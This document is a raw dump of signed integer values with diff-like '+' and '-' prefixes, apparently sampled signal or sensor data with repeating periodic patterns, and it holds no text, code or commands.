+16 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +13 +-78 +-128 +-128 +-58 +57 +127 +125 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +54 +127 +125 +13 +-80 +-128 +-128 +-60 +55 +127 +124 +13 +-76 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-58 +54 +127 +126 +12 +-76 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-55 +57 +127 +127 +16 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +124 +14 +-80 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-77 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-55 +58 +127 +126 +15 +-78 +-128 +-128 +-58 +56 +-36 +-100 +-112 +11 +109 +5 +-85 +-98 +17 +110 +3 +-72 +-105 +6 +98 +-6 +-94 +-112 +4 +102 +-1 +-77 +-112 +4 +100 +-1 +-92 +-111 +4 +102 +-1 +-76 +-111 +5 +102 +0 +-91 +-111 +5 +100 +-2 +-76 +-111 +5 +103 +0 +-91 +-110 +5 +102 +0 +-75 +-110 +5 +102 +0 +-91 +-110 +4 +103 +0 +-75 +-110 +5 +102 +127 +127 24 --68 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --48 -65 -137 -131 -22 --70 --118 --118 --47 -67 -137 -136 -25 -67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -136 +-128 +-128 +-66 +50 +127 +120 +13 +-82 +-128 +-128 +-58 +58 +127 +123 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +16 +-76 +-128 +-128 +-60 +56 +127 +123 +13 +-76 +-128 +-128 +-57 +58 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +-36 +-102 +-111 +11 +109 +4 +-69 +-97 +16 +109 +4 +-87 +-107 +7 +98 +-6 +-77 +-108 +7 +99 +-2 +-94 +-108 +7 +102 +-3 +-76 +-109 +8 +102 +-4 +-90 +-108 +9 +102 +-3 +-76 +-109 +9 +102 +-3 +-90 +-108 +9 +102 +-4 +-76 +-106 +7 +99 +-4 +-89 +-110 +8 +101 +-3 +-75 +-107 +8 +103 +127 +127 25 --67 --118 --118 --46 -67 -137 -136 +-69 +-128 +-128 +-64 +50 +127 +119 +10 +-82 +-128 +-128 +-60 +52 +127 +125 +12 +-78 +-128 +-128 +-56 +55 +127 +121 +13 +-80 +-128 +-128 +-57 +57 +127 +123 +15 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +126 +14 +-76 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +123 +14 +-79 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +124 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +14 +-80 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-79 +-128 +-128 +-59 +55 +127 +123 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +16 +-76 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-77 +-128 +-128 +-57 +57 +127 +125 +14 +-79 +-128 +-128 +-58 +58 +127 +123 +16 +-76 +-128 +-128 +-59 +56 +127 +123 +13 +-75 +-128 +-128 +-58 +57 +127 +125 +13 +-77 +-128 +-128 +-59 +54 +127 +126 +13 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +124 +13 +-80 +-128 +-128 +-60 +56 +127 +122 +13 +-76 +-128 +-128 +-57 +58 +127 +126 +15 +-79 +-128 +-128 +-58 +56 +127 +124 +16 +-76 +-128 +-128 +-54 +57 +-35 +-100 +-110 +12 +110 +4 +-69 +-99 +16 +108 +2 +-86 +-106 +10 +102 +-4 +-74 +-108 +8 +100 +-4 +-92 +-109 +8 +101 +-5 +-75 +-108 +9 +101 +-3 +-92 +-109 +8 +102 +-3 +-75 +-108 +9 +103 +-4 +-89 +-107 +9 +102 +-3 +-91 +-108 +9 +101 +-2 +-91 +-108 +8 +103 +-2 +-75 +-108 +10 +100 +-1 +-91 +-108 +8 +103 +127 +127 26 +-68 +-128 +-128 +-64 +48 +127 +121 +12 +-66 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +13 +-78 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +55 +127 +124 +14 +-80 +-128 +-128 +-57 +58 +-36 +-102 +-112 +13 +109 +3 +-86 +-97 +16 +107 +1 +-72 +-106 +7 +98 +-5 +-90 +-108 +4 +98 +-5 +-78 +-112 +4 +102 +-1 +-92 +-111 +5 +100 +-2 +-93 +-111 +5 +103 +0 +-91 +-111 +4 +101 +-1 +-76 +-111 +5 +103 +0 +-91 +-111 +4 +101 +-1 +-76 +-111 +4 +102 +0 +-91 +-110 +5 +103 +0 +-75 +-111 +4 +100 +-1 +-92 +-111 +4 +102 +-1 +-76 +-110 +5 +100 +-1 +-92 +-110 +5 +102 +0 +-75 +-110 +5 +100 +-2 +-92 +-111 +5 +104 +0 +-75 +-111 +5 +101 +-1 +-92 +-110 +5 +103 +0 +-74 +-111 +5 +100 +-1 +-92 +-111 +4 +103 +-1 +-77 +-110 +6 +98 +-4 +-93 +-110 +6 +104 +-1 +-77 +-111 +5 +102 +0 +-91 +-110 +5 +100 +127 +127 +24 +-66 +-128 +-128 +-68 +46 +127 +120 +8 +-80 +-128 +-128 +-57 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +17 +-79 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +124 +13 +-78 +-128 +-128 +-57 +59 +127 +126 +16 +-79 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-55 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +125 +14 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +16 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +126 +13 +-77 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +59 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +17 +-78 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +59 +127 +124 +13 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +13 +-79 +-128 +-128 +-58 +55 +127 +124 +13 +-80 +-128 +-128 +-58 +58 +127 +125 +17 +-78 +-128 +-128 +-60 +55 +127 +122 +12 +-76 +-128 +-128 +-60 +53 +127 +125 +12 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +55 +127 +126 +16 +-79 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +16 +-76 +-128 +-128 +-55 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +127 +16 +-76 +-128 +-128 +-56 +58 +127 +127 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-57 +58 +127 +124 +13 +-78 +-128 +-128 +-58 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-79 +-128 +-128 +-58 +55 +127 +124 +16 +-75 +-128 +-128 +-59 +55 +127 +121 +12 +-80 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-55 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +13 +-76 +-128 +-128 +-60 +54 +127 +125 +12 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-55 +57 +127 +127 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +124 +15 +-75 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +13 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +124 +13 +-80 +-128 +-128 +-59 +54 +127 +126 +12 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +126 +17 +-79 +-128 +-128 +-58 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +16 +-79 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +16 +-77 +-128 +-128 +-60 +55 +127 +123 +12 +-76 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-77 +-128 +-128 +-55 +57 +127 +126 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-55 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +123 +14 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-58 +56 +127 +122 +13 +-80 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +55 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-77 +-128 +-128 +-57 +58 +127 +124 +16 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +15 +-76 +-128 +-128 +-55 +56 +127 +127 +13 +-76 +-128 +-128 +-56 +57 +-36 +-102 +-111 +13 +109 +3 +-84 +-97 +17 +108 +2 +-71 +-106 +10 +102 +-3 +-90 +-108 +8 +101 +-6 +-76 +-108 +8 +101 +-3 +-92 +-108 +9 +102 +-3 +-75 +-108 +9 +102 +-5 +-90 +-107 +9 +102 +-3 +-75 +-109 +9 +100 +-1 +-92 +-110 +10 +102 +-4 +-76 +-107 +7 +102 +-2 +-92 +-108 +8 +101 +-4 +-76 +-107 +6 +98 +127 +127 +23 +-71 +-128 +-128 +-68 +49 +127 +117 +9 +-79 +-128 +-128 +-58 +58 +127 +124 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +16 +-77 +-128 +-128 +-55 +58 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +55 +127 +126 +13 +-76 +-128 +-128 +-60 +53 +127 +124 +12 +-77 +-128 +-128 +-58 +57 +127 +123 +13 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-55 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-58 +56 +127 +121 +12 +-80 +-128 +-128 +-58 +57 +127 +125 +14 +-76 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +56 +127 +124 +15 +-78 +-128 +-128 +-55 +56 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +124 +12 +-79 +-128 +-128 +-60 +57 +127 +122 +13 +-75 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +55 +127 +122 +14 +-80 +-128 +-128 +-57 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +59 +127 +124 +14 +-77 +-128 +-128 +-57 +57 +127 +123 +16 +-78 +-128 +-128 +-60 +56 +127 +122 +13 +-76 +-128 +-128 +-57 +58 +127 +123 +15 +-76 +-128 +-128 +-55 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +55 +127 +126 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-55 +55 +127 +122 +14 +-76 +-128 +-128 +-57 +54 +-36 +-101 +-112 +13 +110 +3 +-68 +-97 +17 +108 +2 +-87 +-104 +7 +99 +-6 +-77 +-110 +5 +96 +-7 +-95 +-112 +5 +103 +-2 +-78 +-111 +4 +102 +0 +-91 +-110 +4 +101 +-1 +-76 +-110 +5 +103 +0 +-91 +-111 +4 +99 +-2 +-77 +-111 +4 +103 +0 +-91 +-110 +5 +102 +-1 +-75 +-110 +5 +102 +127 +127 +24 -67 --118 --118 --46 -68 -137 -135 +-128 +-128 +-65 +51 +127 +120 +10 +-81 +-128 +-128 +-57 +57 +127 +125 +17 +-79 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +56 +127 +123 +16 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-58 +54 +127 +124 +14 +-80 +-128 +-128 +-59 +53 +127 +125 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +55 +127 +124 +14 +-79 +-128 +-128 +-58 +57 +127 +123 +16 +-76 +-128 +-128 +-55 +55 +127 +126 +15 +-77 +-128 +-128 +-57 +57 +127 +126 +16 +-77 +-128 +-128 +-57 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +124 +13 +-80 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-57 +57 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +122 +15 +-75 +-128 +-128 +-57 +57 +127 +125 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +57 +127 +126 +14 +-79 +-128 +-128 +-58 +58 +127 +126 +15 +-78 +-128 +-128 +-58 +55 +127 +123 +14 +-80 +-128 +-128 +-59 +55 +127 +121 +12 +-80 +-128 +-128 +-57 +58 +127 +123 +16 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +126 +14 +-76 +-128 +-128 +-55 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-59 +54 +127 +124 +13 +-80 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-57 +57 +127 +123 +15 +-77 +-128 +-128 +-56 +55 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-58 +54 +127 +125 +13 +-79 +-128 +-128 +-59 +54 +127 +125 +13 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +55 +-35 +-103 +-109 +12 +110 +5 +-69 +-99 +18 +107 +4 +-88 +-106 +7 +99 +-4 +-78 +-112 +4 +102 +-2 +-94 +-112 +4 +102 +-1 +-76 +-111 +5 +100 +-1 +-91 +-111 +4 +102 +-1 +-75 +-111 +5 +102 +0 +-91 +-111 +4 +102 +-1 +-75 +-111 +5 +102 +0 +-91 +-110 +5 +102 +0 +-75 +-110 +5 +103 +0 +-91 +-110 +6 +99 +-2 +-77 +-110 +5 +103 +0 +-92 +-111 +4 +101 +-1 +-75 +-111 +5 +102 +0 +-91 +-110 +5 +102 +0 +-75 +-111 +5 +102 +0 +-91 +-110 +5 +102 +0 +-75 +-110 +4 +102 +0 +-91 +-110 +5 +102 +0 +-75 +-110 +4 +101 +0 +-92 +-110 +5 +103 +0 +-76 +-111 +5 +101 +0 +-92 +-110 +5 +103 +0 +-75 +-111 +5 +102 +127 +127 24 --68 --118 --118 --47 -67 -137 -135 +-66 +-128 +-128 +-65 +52 +127 +120 +10 +-81 +-128 +-128 +-59 +53 +127 +126 +13 +-78 +-128 +-128 +-55 +55 +127 +120 +11 +-80 +-128 +-128 +-58 +58 +127 +124 +16 +-79 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-59 +53 +127 +125 +12 +-78 +-128 +-128 +-57 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +124 +14 +-80 +-128 +-128 +-58 +57 +127 +125 +16 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +124 +12 +-80 +-128 +-128 +-60 +57 +127 +122 +14 +-75 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +126 +13 +-76 +-128 +-128 +-60 +54 +127 +124 +12 +-76 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-60 +53 +127 +124 +12 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +125 +17 +-79 +-128 +-128 +-56 +58 +127 +124 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-57 +56 +127 +125 +16 +-79 +-128 +-128 +-56 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +58 +127 +126 +16 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +55 +127 +121 +12 +-80 +-128 +-128 +-56 +58 +127 +124 +16 +-76 +-128 +-128 +-55 +58 +-37 +-102 +-109 +9 +106 +1 +-71 +-101 +13 +109 +5 +-86 +-108 +6 +99 +-3 +-77 +-112 +3 +101 +-2 +-93 +-112 +4 +101 +-1 +-76 +-110 +5 +103 +0 +-91 +-110 +6 +100 +-1 +-76 +-111 +4 +102 +-1 +-92 +-111 +5 +99 +-2 +-76 +-111 +5 +102 +-1 +-92 +-111 +4 +101 +-1 +-75 +-111 +5 +101 +-1 +-92 +-111 +5 +101 +127 +127 24 +-67 +-128 +-128 +-66 +50 +127 +122 +10 +-80 +-128 +-128 +-58 +57 +127 +127 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +59 +127 +127 +13 +-75 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-78 +-128 +-128 +-56 +56 +127 +127 +13 +-76 +-128 +-128 +-57 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +124 +13 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-57 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +127 +16 +-76 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +55 +127 +126 +14 +-77 +-128 +-128 +-57 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-58 +56 +127 +124 +15 +-76 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +55 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +16 +-77 +-128 +-128 +-60 +55 +127 +124 +13 +-75 +-128 +-128 +-58 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-76 +-128 +-128 +-60 +54 +127 +124 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +13 +-78 +-128 +-128 +-59 +56 +127 +123 +15 +-77 +-128 +-128 +-56 +55 +127 +126 +12 +-77 +-128 +-128 +-59 +53 +127 +126 +12 +-79 +-128 +-128 +-57 +57 +127 +126 +13 +-78 +-128 +-128 +-56 +57 +-37 +-102 +-112 +12 +108 +6 +-85 +-98 +17 +110 +2 +-71 +-105 +10 +102 +-2 +-91 +-109 +8 +102 +-5 +-74 +-108 +8 +100 +-4 +-92 +-110 +9 +101 +-1 +-76 +-108 +6 +97 +-6 +-94 +-110 +4 +99 +-3 +-77 +-111 +4 +102 +0 +-92 +-110 +5 +101 +-1 +-76 +-110 +5 +102 +0 +-91 +-110 +5 +100 +-1 +-76 +-111 +5 +101 +127 +127 +24 +-66 +-128 +-128 +-66 +51 +127 +120 +12 +-80 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +126 +16 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +-38 +-101 +-110 +12 +110 +4 +-69 +-98 +18 +108 +4 +-86 +-106 +9 +103 +-2 +-75 +-110 +9 +99 +-2 +-93 +-108 +5 +98 +-6 +-78 +-109 +7 +98 +-6 +-93 +-109 +6 +98 +-6 +-77 +-108 +10 +99 +-1 +-93 +-106 +8 +101 +-4 +-76 +-107 +7 +100 +-2 +-89 +-108 +10 +100 +-1 +-77 +-106 +8 +101 +127 +127 +26 -68 --118 --118 --46 -67 -137 -136 -25 --68 --118 +-128 +-128 +-65 +49 +127 +120 +11 +-81 +-128 +-128 +-57 +56 +127 +123 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +123 +13 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-55 +55 +127 +122 +14 +-76 +-128 +-128 +-57 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +124 +17 +-78 +-128 +-128 +-60 +55 +127 +122 +12 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-77 +-128 +-128 +-57 +58 +127 +125 +17 +-79 +-128 +-128 +-60 +55 +127 +122 +12 +-76 +-128 +-128 